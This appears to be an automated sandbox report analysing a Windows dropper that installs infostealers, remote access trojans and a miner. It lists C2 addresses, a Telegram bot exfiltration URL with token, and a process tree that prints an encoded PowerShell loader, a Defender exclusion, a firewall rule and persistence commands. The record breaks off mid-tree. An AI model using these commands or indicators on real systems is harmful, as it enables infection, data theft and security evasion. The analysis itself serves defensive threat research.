Overview

overview

10

Static

static

3

cryptolaemus

windows10-2004-x64

10

cryptolaemus

windows11-21h2-x64

10

Analysis

  • max time kernel
    141s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    18-05-2024 13:51

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    01d1e3c0b403afcb5c81b637a70b3d68d1781edf17362bd2af6ef16507888e9e.exe

  • Size

    1.8MB

  • MD5

    34d867556165de74dcaf1e92b633f86e

  • SHA1

    e3191f8d3c854df1a41718f9ebe0b0fe35d1419d

  • SHA256

    01d1e3c0b403afcb5c81b637a70b3d68d1781edf17362bd2af6ef16507888e9e

  • SHA512

    f234c617e2ffcb913c764a61b3725057771256731840d43ed0028fd6d80112d42b2dacb98daeb4a05d79359b5054d553c35df15b6cfe081310c9294d872d6267

  • SSDEEP

    24576:0Znk/imFiYBD0eXssdeccN0NvDNbNMiGiaChb85OTs5+j4jD3Xmnnq7pb4EeZfQq:qk/imFlLhoOHJwiAasIsfHm6rPU+yqk

Score
10/10
amadeygluptebaredlinesectopratstealcvidarxmrigxworm1@logscloudyt_botc767c0viczzvvbootkitdiscoverydropperevasionexecutioninfostealerloaderminerpersistenceratrootkitspywarestealerthemidatrojanupx

Malware Config

Extracted

Family

amadey

Version

4.20

Botnet

c767c0

C2

http://5.42.96.7

Attributes
  • install_dir

    7af68cdb52

  • install_file

    axplons.exe

  • strings_key

    e2ce58e78f631ed97d01fe7b70e85d5e

  • url_paths

    /zamo7h/index.php

rc4.plain

Extracted

Family

redline

Botnet

@LOGSCLOUDYT_BOT

C2

185.172.128.33:8970

Extracted

Family

redline

Botnet

1

C2

185.215.113.67:26260

Extracted

Family

stealc

Botnet

zzvv

C2

http://23.88.106.134

Attributes
  • url_path

    /c73eed764cc59dcb.php

Extracted

Family

xworm

C2

127.0.0.1:7000

beshomandotestbesnd.run.place:7000
Attributes
  • Install_directory

    %ProgramData%

  • install_file

    taskmgr.exe

  • telegram

    https://api.telegram.org/bot2128988424:AAEkYnwvOQA95riqRZwlqBxg4GV-odRNOyo/sendMessage?chat_id=966649672

Extracted

Family

redline

Botnet

Vic

C2

beshomandotestbesnd.run.place:1111

Extracted

Family

stealc

rc4.plain

Signatures

  • Amadey

    Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.

    trojanamadey
  • Detect Vidar Stealer 1 IoCs
    stealer
  • Detect Xworm Payload 2 IoCs
  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

    loaderdropperglupteba
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine payload 6 IoCs
  • SectopRAT

    SectopRAT is a remote access trojan first seen in November 2019.

    trojanratsectoprat
  • SectopRAT payload 2 IoCs
  • Stealc

    Stealc is an infostealer written in C++.

    stealerstealc
  • UAC bypass 3 TTPs 1 IoCs
    evasiontrojan
  • Vidar

    Vidar is an infostealer based on Arkei stealer.

    stealervidar
  • Windows security bypass 2 TTPs 6 IoCs
    evasiontrojan
  • XMRig Miner payload 2 IoCs
    miner
  • Xworm

    Xworm is a remote access trojan written in C#.

    trojanratxworm
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 4 IoCs
    evasion
  • Command and Scripting Interpreter: PowerShell 1 TTPs 37 IoCs

    Using powershell.exe command.

    execution
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Downloads MZ/PE file
  • Drops file in Drivers directory 8 IoCs
  • Modifies Windows Firewall 2 TTPs 2 IoCs
    evasion
  • Stops running service(s) 4 TTPs
    evasionexecution
  • .NET Reactor proctector 20 IoCs

    Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

  • Checks BIOS information in registry 2 TTPs 9 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 14 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 64 IoCs
  • Identifies Wine through registry keys 2 TTPs 4 IoCs

    Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

    evasion
  • Loads dropped DLL 10 IoCs
  • Reads data files stored by FTP clients 2 TTPs

    Tries to access configuration files associated with programs like FileZilla.

    spywarestealer
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

    spywarestealer
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 1 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • UPX packed file 1 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Windows security modification 2 TTPs 4 IoCs
    evasiontrojan
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 6 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Manipulates WinMonFS driver. 1 IoCs

    Roottkits write to WinMonFS to hide directories/files from being detected.

    rootkitevasion
  • Writes to the Master Boot Record (MBR) 1 TTPs 2 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

    bootkitpersistence
  • Drops file in System32 directory 31 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 16 IoCs
  • Suspicious use of SetThreadContext 13 IoCs
  • Checks for VirtualBox DLLs, possible anti-VM trick 1 TTPs 2 IoCs

    Certain files are specific to VirtualBox VMs and can be used to detect execution in a VM.

  • Drops file in Program Files directory 27 IoCs
  • Drops file in Windows directory 8 IoCs
  • Launches sc.exe 59 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • NSIS installer 2 IoCs
    installer
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Enumerates processes with tasklist 1 TTPs 2 IoCs
  • Enumerates system info in registry 2 TTPs 2 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies system certificate store 2 TTPs 7 IoCs
    evasionspywaretrojan
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 7 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence

Processes

  • C:\Users\Admin\AppData\Local\Temp\01d1e3c0b403afcb5c81b637a70b3d68d1781edf17362bd2af6ef16507888e9e.exe
    "C:\Users\Admin\AppData\Local\Temp\01d1e3c0b403afcb5c81b637a70b3d68d1781edf17362bd2af6ef16507888e9e.exe"
    1⤵
    • Identifies VirtualBox via ACPI registry values (likely anti-VM)
    • Checks BIOS information in registry
    • Checks computer location settings
    • Identifies Wine through registry keys
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:4732
    • C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe
      "C:\Users\Admin\AppData\Local\Temp\7af68cdb52\axplons.exe"
      2⤵
      • Identifies VirtualBox via ACPI registry values (likely anti-VM)
      • Checks BIOS information in registry
      • Checks computer location settings
      • Executes dropped EXE
      • Identifies Wine through registry keys
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:3680
      • C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe
        "C:\Users\Admin\AppData\Local\Temp\1000003001\alex.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2124
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
          4⤵
          • Checks computer location settings
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:896
          • C:\Users\Admin\AppData\Roaming\configurationValue\One.exe
            "C:\Users\Admin\AppData\Roaming\configurationValue\One.exe"
            5⤵
            • Executes dropped EXE
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5016
          • C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe
            "C:\Users\Admin\AppData\Roaming\configurationValue\svhoost.exe"
            5⤵
            • Executes dropped EXE
            • Modifies system certificate store
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:676
          • C:\Windows\SysWOW64\cmd.exe
            "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "RegAsm.exe"
            5⤵
              PID:2260
              • C:\Windows\SysWOW64\choice.exe
                choice /C Y /N /D Y /T 3
                6⤵
                  PID:3128
          • C:\Users\Admin\AppData\Local\Temp\1000004001\crypted333.exe
            "C:\Users\Admin\AppData\Local\Temp\1000004001\crypted333.exe"
            3⤵
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Suspicious use of WriteProcessMemory
            PID:2368
            • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
              "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
              4⤵
                PID:4084
            • C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe
              "C:\Users\Admin\AppData\Local\Temp\1000005001\redline1.exe"
              3⤵
              • Checks computer location settings
              • Executes dropped EXE
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:880
              • C:\Users\Admin\AppData\Local\Temp\pl.exe
                "C:\Users\Admin\AppData\Local\Temp\pl.exe"
                4⤵
                • Checks computer location settings
                • Executes dropped EXE
                PID:3396
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /k move Descriptions Descriptions.cmd & Descriptions.cmd & exit
                  5⤵
                    PID:4100
                    • C:\Windows\SysWOW64\tasklist.exe
                      tasklist
                      6⤵
                      • Enumerates processes with tasklist
                      • Suspicious use of AdjustPrivilegeToken
                      PID:5784
                    • C:\Windows\SysWOW64\findstr.exe
                      findstr /I "wrsa.exe opssvc.exe"
                      6⤵
                        PID:5820
                      • C:\Windows\SysWOW64\tasklist.exe
                        tasklist
                        6⤵
                        • Enumerates processes with tasklist
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4148
                      • C:\Windows\SysWOW64\findstr.exe
                        findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"
                        6⤵
                          PID:3784
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c md 333893
                          6⤵
                            PID:3668
                          • C:\Windows\SysWOW64\findstr.exe
                            findstr /V "EnquiryAnContributionRefers" Tank
                            6⤵
                              PID:6032
                            • C:\Windows\SysWOW64\cmd.exe
                              cmd /c copy /b Ph + Shoot 333893\r
                              6⤵
                                PID:5944
                              • C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\333893\Rent.pif
                                333893\Rent.pif 333893\r
                                6⤵
                                • Executes dropped EXE
                                • Suspicious use of FindShellTrayWindow
                                • Suspicious use of SendNotifyMessage
                                PID:6040
                              • C:\Windows\SysWOW64\PING.EXE
                                ping -n 5 127.0.0.1
                                6⤵
                                • Runs ping.exe
                                PID:1548
                        • C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe
                          "C:\Users\Admin\AppData\Local\Temp\1000006001\install.exe"
                          3⤵
                          • Checks computer location settings
                          • Executes dropped EXE
                          • Drops file in Program Files directory
                          • Suspicious use of WriteProcessMemory
                          PID:3868
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installg.bat" "
                            4⤵
                            • Suspicious use of WriteProcessMemory
                            PID:3888
                            • C:\Windows\SysWOW64\sc.exe
                              Sc stop GameServerClient
                              5⤵
                              • Launches sc.exe
                              PID:3096
                            • C:\Program Files (x86)\GameSyncLink\GameService.exe
                              GameService remove GameServerClient confirm
                              5⤵
                              • Executes dropped EXE
                              PID:3260
                            • C:\Windows\SysWOW64\sc.exe
                              Sc delete GameSyncLink
                              5⤵
                              • Launches sc.exe
                              PID:3780
                            • C:\Program Files (x86)\GameSyncLink\GameService.exe
                              GameService remove GameSyncLink confirm
                              5⤵
                              • Executes dropped EXE
                              PID:4492
                            • C:\Program Files (x86)\GameSyncLink\GameService.exe
                              GameService install GameSyncLink "C:\Program Files (x86)\GameSyncLink\GameSyncLink.exe"
                              5⤵
                              • Executes dropped EXE
                              PID:4028
                            • C:\Program Files (x86)\GameSyncLink\GameService.exe
                              GameService start GameSyncLink
                              5⤵
                              • Executes dropped EXE
                              PID:1460
                          • C:\Windows\SysWOW64\cmd.exe
                            C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installc.bat" "
                            4⤵
                              PID:1148
                              • C:\Windows\SysWOW64\sc.exe
                                Sc stop GameServerClientC
                                5⤵
                                • Launches sc.exe
                                PID:2476
                              • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                GameService remove GameServerClientC confirm
                                5⤵
                                • Executes dropped EXE
                                PID:2124
                              • C:\Windows\SysWOW64\sc.exe
                                Sc delete PiercingNetLink
                                5⤵
                                • Launches sc.exe
                                PID:4632
                              • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                GameService remove PiercingNetLink confirm
                                5⤵
                                • Executes dropped EXE
                                PID:2368
                              • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                GameService install PiercingNetLink "C:\Program Files (x86)\GameSyncLink\PiercingNetLink.exe"
                                5⤵
                                • Executes dropped EXE
                                PID:3260
                              • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                GameService start PiercingNetLink
                                5⤵
                                • Executes dropped EXE
                                PID:4632
                            • C:\Windows\SysWOW64\cmd.exe
                              C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\GameSyncLink\installm.bat" "
                              4⤵
                                PID:4052
                                • C:\Windows\SysWOW64\sc.exe
                                  Sc delete GameSyncLinks
                                  5⤵
                                  • Launches sc.exe
                                  PID:4512
                                • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                  GameService remove GameSyncLinks confirm
                                  5⤵
                                  • Executes dropped EXE
                                  PID:3436
                                • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                  GameService install GameSyncLinks "C:\Program Files (x86)\GameSyncLink\GameSyncLinks.exe"
                                  5⤵
                                  • Executes dropped EXE
                                  PID:3048
                                • C:\Program Files (x86)\GameSyncLink\GameService.exe
                                  GameService start GameSyncLinks
                                  5⤵
                                  • Executes dropped EXE
                                  PID:896
                              • C:\Windows\SysWOW64\cmd.exe
                                C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7ZSfx000.cmd" "
                                4⤵
                                  PID:3124
                              • C:\Users\Admin\AppData\Local\Temp\1000007001\swizzzz.exe
                                "C:\Users\Admin\AppData\Local\Temp\1000007001\swizzzz.exe"
                                3⤵
                                • Executes dropped EXE
                                • Suspicious use of SetThreadContext
                                • Suspicious use of WriteProcessMemory
                                PID:2788
                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                  4⤵
                                  • Loads dropped DLL
                                  • Checks processor information in registry
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:4536
                              • C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe
                                "C:\Users\Admin\AppData\Local\Temp\1000010001\lumma1.exe"
                                3⤵
                                • Executes dropped EXE
                                • Suspicious use of SetThreadContext
                                PID:2332
                                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
                                  4⤵
                                    PID:4364
                                • C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe
                                  "C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe"
                                  3⤵
                                  • Checks computer location settings
                                  • Executes dropped EXE
                                  PID:3736
                                  • C:\Windows\SysWOW64\schtasks.exe
                                    "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN NewB.exe /TR "C:\Users\Admin\AppData\Local\Temp\1000015001\NewB.exe" /F
                                    4⤵
                                    • Creates scheduled task(s)
                                    PID:560
                                • C:\Users\Admin\AppData\Local\Temp\1000042001\file300un.exe
                                  "C:\Users\Admin\AppData\Local\Temp\1000042001\file300un.exe"
                                  3⤵
                                  • Executes dropped EXE
                                  PID:4500
                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                    powershell.exe -EncodedCommand WwBTAHkAcwB0AGUAbQAuAFQAaAByAGUAYQBkAGkAbgBnAC4AVABoAHIAZQBhAGQAXQA6ADoAUwBsAGUAZQBwACgAMQAwADAAMAAwACkACgAKACQARQYkBkIGKgYgAD0AIABbAFMAeQBzAHQAZQBtAC4ASQBPAC4AUABhAHQAaABdADoAOgBHAGUAdABUAGUAbQBwAFAAYQB0AGgAKAApAAoAJABGBkUGSAYwBiwGIAA9ACAAJwBmAGkAbABlAC0AKgAuAHAAdQB0AGkAawAnAAoAJABFBkQGQQZfACMGLgZKBjEGIAA9ACAARwBlAHQALQBDAGgAaQBsAGQASQB0AGUAbQAgAC0AUABhAHQAaAAgACQARQYkBkIGKgYgAC0ARgBpAGwAdABlAHIAIAAkAEYGRQZIBjAGLAYgAHwAIABTAG8AcgB0AC0ATwBiAGoAZQBjAHQAIABMAGEAcwB0AFcAcgBpAHQAZQBUAGkAbQBlACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAdAAgADEACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEGQwZfACcGRAYqBjQGQQZKBjEGIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AIAAoAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGQQYqBicGLQYsAAoAIAAgACAAIAAgACAAIAAgAFsAYgB5AHQAZQBbAF0AXQAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiwACgAgACAAIAAgACAAIAAgACAAWwBiAHkAdABlAFsAXQBdACQAKAZKBicGRgYnBioGCgAgACAAIAAgACkACgAKACAAIAAgACAAJABFBjQGQQYxBiAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAEEAZQBzAF0AOgA6AEMAcgBlAGEAdABlACgAKQAKACAAIAAgACAAJABFBjQGQQYxBi4ATQBvAGQAZQAgAD0AIABbAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBDAGkAcABoAGUAcgBNAG8AZABlAF0AOgA6AEMAQgBDAAoAIAAgACAAIAAkAEUGNAZBBjEGLgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkALgBDAHIAeQBwAHQAbwBnAHIAYQBwAGgAeQAuAFAAYQBkAGQAaQBuAGcATQBvAGQAZQBdADoAOgBQAEsAQwBTADcACgAKACAAIAAgACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYgAD0AIAAkAEUGNAZBBjEGLgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACQARQZBBioGJwYtBiwAIAAkAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBikACgAgACAAIAAgACQAKAZKBicGRgYnBioGXwBFBkEGQwZIBkMGKQZfACcGRAYqBjQGQQZKBjEGIAA9ACAAJABBBkMGXwAnBkQGKgY0BkEGSgYxBl8ALAZHBicGMgYuAFQAcgBhAG4AcwBmAG8AcgBtAEYAaQBuAGEAbABCAGwAbwBjAGsAKAAkACgGSgYnBkYGJwYqBiwAIAAwACwAIAAkACgGSgYnBkYGJwYqBi4ATABlAG4AZwB0AGgAKQAKAAkACgAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAAoBkoGJwZGBicGKgZfAEUGQQZDBkgGQwYpBl8AJwZEBioGNAZBBkoGMQYKAH0ACgAKACQARQZBBioGJwYtBiAAPQAgAFsAYgB5AHQAZQBbAF0AXQBAACgAMAB4AEQAOAAsACAAMAB4ADIARgAsACAAMAB4ADEARgAsACAAMAB4ADYAQwAsACAAMAB4ADQARQAsACAAMAB4ADgAOAAsACAAMAB4ADQANQAsACAAMAB4AEQARAAsACAAMAB4ADEAQQAsACAAMAB4AEUARAAsACAAMAB4ADUAQwAsACAAMAB4ADQAQgAsACAAMAB4ADQAOQAsACAAMAB4ADQAOQAsACAAMAB4ADAAQwAsACAAMAB4ADMAQgAsACAAMAB4AEYAQQAsACAAMAB4AEEAMQAsACAAMAB4ADIANwAsACAAMAB4ADMARAAsACAAMAB4ADIAQQAsACAAMAB4AEIANQAsACAAMAB4AEMARAAsACAAMAB4ADIANwAsACAAMAB4ADQARAAsACAAMAB4ADAAQQAsACAAMAB4ADUAOQAsACAAMAB4ADUANwAsACAAMAB4AEMAQQAsACAAMAB4ADcAMAAsACAAMAB4AEEAQQAsACAAMAB4AEMAQgApAAoAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAD0AIABbAGIAeQB0AGUAWwBdAF0AQAAoADAAeAAxAEMALAAgADAAeABBADMALAAgADAAeAAzADQALAAgADAAeABBADYALAAgADAAeAA4ADQALAAgADAAeABDAEMALAAgADAAeABBAEEALAAgADAAeABEADIALAAgADAAeABCADAALAAgADAAeABFAEUALAAgADAAeABBAEMALAAgADAAeABEADcALAAgADAAeABFAEIALAAgADAAeABGAEUALAAgADAAeAA4AEYALAAgADAAeAA5ADkAKQAKAAoAaQBmACAAKAAkAEUGRAZBBl8AIwYuBkoGMQYgAC0AbgBlACAAJABuAHUAbABsACkAIAB7AAoAIAAgACAAIAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGIAA9ACAAJABFBkQGQQZfACMGLgZKBjEGLgBGAHUAbABsAE4AYQBtAGUACgAgACAAIAAgACQAKAYnBkoGKgYnBioGXwBFBjQGQQYxBikGIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEkATwAuAEYAaQBsAGUAXQA6ADoAUgBlAGEAZABBAGwAbABCAHkAdABlAHMAKAAkAEUGMwYnBjEGXwAnBkQGRQZEBkEGKQA7AAoAIAAgACAAIAAkAEUGLQYqBkgGSQZfAEUGQQZDBkgGQwZfACcGRAYqBjQGQQZKBjEGIAA9ACAAQQZDBl8AJwZEBioGNAZBBkoGMQYgAC0ARQZBBioGJwYtBiAAJABFBkEGKgYnBi0GIAAtAEUGKgYsBkcGXwAnBkQGKgZHBkoGJgYpBiAAJABFBioGLAZHBl8AJwZEBioGRwZKBiYGKQYgAC0AKAZKBicGRgYnBioGIAAkACgGJwZKBioGJwYqBl8ARQY0BkEGMQYpBgoACgAgACAAIAAgACQAKgYsBkUGSgY5BiAAPQAgAFsAUwB5AHMAdABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAGIAeQB0AGUAWwBdAF0AQAAoACQARQYtBioGSAZJBl8ARQZBBkMGSAZDBl8AJwZEBioGNAZBBkoGMQYpACkAOwAKACAAIAAgACAAJABGBkIGNwYpBl8AJwZEBi8GLgZIBkQGIAA9ACAAJAAqBiwGRQZKBjkGLgBFAG4AdAByAHkAUABvAGkAbgB0ADsACgAgACAAIAAgACQARgZCBjcGKQZfACcGRAYvBi4GSAZEBi4ASQBuAHYAbwBrAGUAKAAkAG4AdQBsAGwALAAgACQAbgB1AGwAbAApADsACgB9AAoA
                                    4⤵
                                    • UAC bypass
                                    • Windows security bypass
                                    • Command and Scripting Interpreter: PowerShell
                                    • Suspicious use of SetThreadContext
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of AdjustPrivilegeToken
                                    PID:2968
                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\1000042001\file300un.exe" -Force
                                      5⤵
                                      • Command and Scripting Interpreter: PowerShell
                                      • Suspicious behavior: EnumeratesProcesses
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:4052
                                    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe
                                      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe"
                                      5⤵
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:2912
                                      • C:\Users\Admin\Pictures\t7Tk2ZAS8B4F9OtyImVGvg2u.exe
                                        "C:\Users\Admin\Pictures\t7Tk2ZAS8B4F9OtyImVGvg2u.exe"
                                        6⤵
                                        • Executes dropped EXE
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:1932
                                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                          powershell -nologo -noprofile
                                          7⤵
                                          • Command and Scripting Interpreter: PowerShell
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:5520
                                        • C:\Users\Admin\Pictures\t7Tk2ZAS8B4F9OtyImVGvg2u.exe
                                          "C:\Users\Admin\Pictures\t7Tk2ZAS8B4F9OtyImVGvg2u.exe"
                                          7⤵
                                          • Windows security bypass
                                          • Executes dropped EXE
                                          • Windows security modification
                                          • Adds Run key to start application
                                          • Checks for VirtualBox DLLs, possible anti-VM trick
                                          • Drops file in Windows directory
                                          • Modifies data under HKEY_USERS
                                          PID:5336
                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                            powershell -nologo -noprofile
                                            8⤵
                                            • Command and Scripting Interpreter: PowerShell
                                            • Drops file in System32 directory
                                            • Modifies data under HKEY_USERS
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:348
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
                                            8⤵
                                              PID:2968
                                              • C:\Windows\system32\netsh.exe
                                                netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
                                                9⤵
                                                • Modifies Windows Firewall
                                                PID:5484
                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -nologo -noprofile
                                              8⤵
                                              • Command and Scripting Interpreter: PowerShell
                                              • Drops file in System32 directory
                                              • Modifies data under HKEY_USERS
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:6128
                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                              powershell -nologo -noprofile
                                              8⤵
                                              • Command and Scripting Interpreter: PowerShell
                                              • Drops file in System32 directory
                                              • Modifies data under HKEY_USERS
                                              • Suspicious use of AdjustPrivilegeToken
                                              PID:5800
                                        • C:\Users\Admin\Pictures\uiZfPAdU3PBBqlgNASJR0tT9.exe
                                          "C:\Users\Admin\Pictures\uiZfPAdU3PBBqlgNASJR0tT9.exe" /s
                                          6⤵
                                          • Checks computer location settings
                                          • Executes dropped EXE
                                          • Loads dropped DLL
                                          • Writes to the Master Boot Record (MBR)
                                          • Suspicious behavior: EnumeratesProcesses
                                          • Suspicious use of AdjustPrivilegeToken
                                          • Suspicious use of FindShellTrayWindow
                                          • Suspicious use of SendNotifyMessage
                                          PID:4500
                                          • C:\Users\Admin\Pictures\360TS_Setup.exe
                                            "C:\Users\Admin\Pictures\360TS_Setup.exe" /c:WW.Marketator.CPI20230405 /pmode:2 /s /promo:eyJib290dGltZSI6IjciLCJtZWRhbCI6IjciLCJuZXdzIjoiMCIsIm9wZXJhIjoiNyIsIm9wZXJhX2lucyI6IjAiLCJwb3B1cCI6IjciLCJyZW1pbmRlciI6IjciLCJ1cGdyYWRlX25vdyI6IjAifQo=
                                            7⤵
                                            • Executes dropped EXE
                                            • Loads dropped DLL
                                            • Drops file in Program Files directory
                                            • Suspicious use of SetWindowsHookEx
                                            PID:5608
                                            • C:\Program Files (x86)\1716040364_0\360TS_Setup.exe
